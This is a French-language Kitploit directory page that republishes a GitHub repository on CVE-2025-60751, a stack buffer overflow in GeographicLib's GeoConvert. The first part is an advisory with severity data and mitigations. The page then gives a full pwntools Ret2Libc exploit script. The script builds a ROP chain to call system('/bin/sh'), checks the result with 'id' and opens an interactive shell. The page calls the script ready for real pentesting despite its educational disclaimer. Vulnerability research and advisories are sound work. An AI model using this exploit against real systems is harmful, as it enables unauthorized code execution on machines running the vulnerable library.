Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-60751 — Analyse technique et exploit professionnel pour CVE-2025-60751, un débordement de tampon basé sur la pile dans GeographicLib. Inclut un exploit Ret2Libc basé sur pwntools avec découverte dynamique de gadgets ROP, intégration GDB et vérification post-exploitation pour les tests de pénétration éducatifs. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2025-60751
Analyse des VulnérabilitésExploitationRétro-ingénierieShellcodeDébogueursTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Analyse technique et exploit professionnel pour CVE-2025-60751, un débordement de tampon basé sur la pile dans GeographicLib. Inclut un exploit Ret2Libc basé sur pwntools avec découverte dynamique de gadgets ROP, intégration GDB et vérification post-exploitation pour les tests de pénétration éducatifs.

Partager

CVE-2025-60751 : Débordement de tampon basé sur la pile dans GeographicLib

📌 Ce dépôt contient l'analyse et la documentation technique de la vulnérabilité CVE-2025-60751, un défaut de débordement de tampon basé sur la pile (Stack-based Buffer Overflow) situé dans la bibliothèque C++ GeographicLib.


📝 Description

La vulnérabilité se trouve dans la fonction DMS::InternalDecode au sein du composant GeoConvert.
Le défaut survient lorsque la bibliothèque tente de traiter des chaînes de coordonnées au format DMS (Degrés, Minutes, Secondes) malformées ou excessivement longues, ce qui provoque une écriture hors des limites du tampon alloué sur la pile.

  • Identifiant : CVE-2025-60751
  • Composant : GeoConvert / DMS::InternalDecode
  • Type : Stack-based Buffer Overflow (CWE-121)
  • Gravité (CVSS 3.1) : 7.5 HIGH
  • Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

🔍 Impact

Un attaquant distant peut envoyer une chaîne de coordonnées spécialement conçue pour :

  • Déni de service (DoS) : Provoquer l'arrêt inattendu (crash) des applications utilisant GeographicLib pour convertir des coordonnées.
  • Instabilité du système : Corrompre la mémoire adjacente sur la pile, affectant le flux d'exécution du programme.

⚠️ Note technique : Bien que le vecteur actuel se concentre sur la Disponibilité (A:H), dans des environnements spécifiques sans protections mémoire modernes (comme les Stack Canaries, le NX bit ou ASLR actif), ce défaut pourrait potentiellement évoluer vers une exécution arbitraire de code.


💻 Systèmes affectés

ProduitVersion vulnérableDistributions détectées
GeographicLib2.5Paquets dans Debian LTS, Ubuntu, et d'autres dépôts Linux intégrant cette version

🛠️ Mitigation et Solution

✅ Mise à jour : Il est fortement recommandé de mettre à jour vers la dernière version disponible de GeographicLib, où la validation de la longueur dans InternalDecode a été corrigée.

✅ Validation des entrées : Si la mise à jour n'est pas possible, implémentez une couche de nettoyage limitant la longueur des chaînes envoyées à DMS::Decode (ex. max. 32 caractères).

✅ Compilation sécurisée : Assurez-vous de compiler la bibliothèque avec des flags de protection de la pile :

root@kitploit:~
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now

📚 Références

  • Issue #43 – GeographicLib GitHub
  • Analyse technique de zer0matt
  • Debian LTS Advisory

💀 Exploit Professionnel (Niveau Avancé — Style OSCP / Exploit-DB)

Cet exploit utilise pwntools pour réaliser une attaque Ret2Libc en exploitant le débordement de tampon.
Contrairement aux versions basiques, cette implémentation est robuste, dynamique et vérifiable, prête pour des environnements réels de pentesting et de laboratoires.

✅ Qu'est-ce qui le rend "Pro" ?

🐍 Code de l'exploit (exploit.py)

root@kitploit:~
#!/usr/bin/env python3
from pwn import *

# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---

context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'

def exploit():
    # 1. Gestión de procesos (Local vs Remoto)
    if args.GDB:
        io = gdb.debug([elf.path], gdbscript="""
            b *main
            continue
        """)
    else:
        # ASAN puede interferir con los offsets si no se gestiona bien
        io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})

    # 2. Localización Dinámica de Gadgets
    rop = ROP(elf)
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET = rop.find_gadget(['ret'])[0]
    
    log.info(f"Gadget POP RDI: {hex(POP_RDI)}")

    # 3. Fuga de Memoria (Leak) para Bypass de ASLR
    # En entornos reales: usar leak + libc-database o libc.rip.
    # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
    LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
    SYSTEM = LIBC_BASE + 0x5d110
    BINSH  = LIBC_BASE + 0x1b1ea4
    EXIT   = LIBC_BASE + 0x4c340

    # 4. Construcción del Payload (Estructura Limpia & Aligned)
    offset = 136
    
    chain = [
        b"A" * offset,
        p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
        p64(POP_RDI),
        p64(BINSH),
        p64(SYSTEM),
        p64(EXIT)
    ]
    
    payload = b"".join(chain)

    # 5. Ejecución y Verificación
    log.info("Sending payload and spawning shell...")
    io.sendline(payload)
    
    io.clean()
    io.sendline(b"id")
    res = io.recvline(timeout=2)
    
    if b"uid=" in res:
        log.success("Pwned! enjoy your shell.")
        io.interactive()
    else:
        log.error("Exploit failed or no output received.")
        io.close()

if __name__ == "__main__":
    exploit()

⚠️ Avertissement de responsabilité
Ce dépôt a des fins purement informatives et éducatives pour les professionnels de la cybersécurité.
L'utilisation de ces informations à des fins illicites relève de la seule responsabilité de l'utilisateur.
❗ Utilisez le code avec précaution : uniquement dans des environnements autorisés, isolés et avec une autorisation explicite.


🔐 La sécurité n'est pas une fonctionnalité — c'est une discipline.
📬 Rapport de découvertes : [email protected]
📦 Dépôt officiel : https://github.com/geographiclib/geographiclib

Télécharger l’outil
CaractéristiqueBénéfice
ROP(elf) dynamiqueNe dépend pas de gadgets codés en dur : les trouve automatiquement dans le binaire.
Support intégré pour GDBExécute python exploit.py GDB → ouvre une session de débogage automatique.
Vérification post-exploitEnvoie id et confirme le shell avant de donner le contrôle interactif.
RET pour alignement de pileÉvite les crashes dans system() dus à un mauvais alignement (critique en x64).
Payload structuré comme list + b"".join()Propre, lisible, facile à modifier et étendre.